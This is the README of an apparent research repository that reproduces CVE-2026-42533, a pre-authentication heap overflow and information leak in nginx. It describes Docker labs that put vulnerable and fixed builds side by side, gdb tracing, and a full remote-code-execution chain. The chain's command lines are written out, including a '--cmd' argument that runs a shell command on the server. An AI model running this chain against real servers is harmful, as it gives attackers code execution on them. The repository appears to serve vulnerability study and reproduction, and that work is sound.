CVE-2026-42533 — nginx 两遍捕获覆盖（two-pass capture clobbering）

nginx (0.9.6–1.30.3 / mainline ≤1.31.2) pre-authentication heap overflow + information leak in the complex value script engine; CVSS 9.2. The same root cause has two trigger surfaces: HTTP (regex location + regex map) and stream (ssl_preread + SNI + regex map).

For in-depth technical analysis and errata, see ANALYSIS.md.

Project Structure

.
├── ANALYSIS.md            # 深度分析（根因 / 两遍执行 / 动态证据 / RCE 链路 + 勘误）
├── README.md              # 本文件（索引）
├── http/                  # ① HTTP 变体黑盒复现（classmethod 触发面）
│   ├── nginx.conf             #   漏洞配置（regex location + regex map）
│   ├── docker-compose.yml     #   nginx:1.30.3(vuln,:8081) vs 1.30.4(fixed,:8082)
│   ├── test.sh                #   clobber / overflow / leak 三方向测试
│   └── repro.py               #   PoC，自动提取泄漏的堆指针/残留数据
├── debug/                # ② HTTP 变体 debug 构建 + pwndbg/gdb 动态分析
│   ├── Dockerfile(.buster) / docker-compose.yml(.buster) / nginx.debug.conf
│   ├── gdb.py                 #   两遍执行追踪 + LEN/VALUE 不一致告警（核心）
│   ├── attach.sh / extract-symbols.sh / trace_one.sh
│   ├── recon/                 #   堆布局侦察脚本（recon.py / recon2/4/5.py）
│   └── README.md              #   详见该目录
└── stream-rift/          # ③ stream 变体完整 RCE 链（已复现 echo pwned）
    ├── Dockerfile / docker-compose.yml / nginx.conf / server.py / entrypoint.sh
    ├── poc.py                 #   完整链（泄漏→喷射→伪造 pool→system），技术来自公开披露
    └── README.md              #   归属声明 + 运行说明

debug/src, debug/symbols*, debug/logs* are generated by extract-symbols.sh (DWARF binaries + source tree), already .gitignored, and can be rebuilt.

Three components

① HTTP variants — black-box reproduction (clobber / overflow / leak)

cd http
docker compose up -d                       # 1.30.3(vuln) + 1.30.4(fixed)
./test.sh                                  # 三方向对比
python3 repro.py --vuln http://localhost:8081 --fixed http://localhost:8082   # 解析泄漏

② HTTP Variant — debug build + pwndbg dynamic analysis

cd debug
docker compose build && docker compose up -d           # debug 构建（--with-debug + DWARF）
./extract-symbols.sh                                    # 拉二进制+源码到本机供 gdb
./attach.sh                                             # gdbserver 附着 worker（:2333）
gdb -x gdb.py                                           # pwndbg 加载；c 后从宿主发请求

See debug/README.md for details.

③ stream variant — full RCE (echo pwned > /tmp/pwn)

cd stream-rift
docker compose build && docker compose up -d            # nginx 1.31.1 (jammy/glibc2.35)
python3 poc.py --host 127.0.0.1 --port 29443 --leak                       # 泄漏 heap/libc/system
python3 poc.py --host 127.0.0.1 --port 29443 --cmd 'echo pwned > /tmp/pwn'
docker compose exec nginx-rce cat /tmp/pwn              # → pwned（属主 nobody = worker）

技术归属公开披露 DepthFirstDisclosures/Nginx-Rift；详见 stream-rift/README.md。

Results at a Glance

Impact	HTTP variant	stream variant
Information leak (heap/PIE + residual data)	✅ Stable	✅ Stable
DoS (worker abort)	✅ Stable	✅ Stable
Arbitrary code execution	❌ No public PoC (standalone project)	✅ Reproduced (stream-rift/)

The full stream chain holds on modern glibc 2.35 (no softening required): cleanup dispatch occurs before the free() in ngx_destroy_pool, and system() executes before the abort. Reliability is "partial" (heap grooming, roughly 1–2 hits per attempt, retries needed); offsets are pinned to this build.

Prerequisites

Docker + Compose; local gdb (+ pwndbg, loaded in whatever way you prefer); pip install requests (http/repro.py).